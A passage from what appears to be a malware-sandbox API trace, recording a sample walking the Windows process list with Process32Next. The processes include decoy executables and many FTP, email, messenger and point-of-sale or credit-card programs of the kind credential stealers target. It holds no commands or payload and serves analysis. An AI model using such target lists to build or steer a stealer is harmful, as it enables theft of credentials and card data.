out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0271.236] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.271] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.272] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.274] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.275] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.277] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.278] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.279] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0271.280] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0271.282] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0271.284] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.286] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0271.288] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0271.290] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0271.292] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0271.293] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.295] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0271.297] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0271.299] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0271.301] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0271.303] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0271.304] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0271.306] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0271.308] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0271.310] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0271.311] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0271.313] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0271.314] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0271.364] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0271.365] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0271.367] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0271.369] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0271.370] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0271.372] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0271.374] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0271.376] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0271.377] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0271.395] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0271.397] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0271.398] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0271.400] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0271.401] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0271.403] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0271.404] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0271.406] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0271.407] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0271.409] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0271.411] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0271.413] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0271.415] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0271.417] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0271.419] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0271.421] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0271.422] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0271.424] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0271.476] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0271.478] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0271.480] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0271.482] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0271.483] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0271.485] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0271.486] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0271.488] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0271.490] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0271.491] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0271.493] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0271.495] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0271.497] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0271.498] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0271.500] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0271.501] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0271.503] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0271.505] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0271.506] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0271.508] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0271.510] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0271.511] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0271.513] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0271.514] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0271.516] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0271.517] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0271.654] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0271.656] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0271.657] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0271.658] 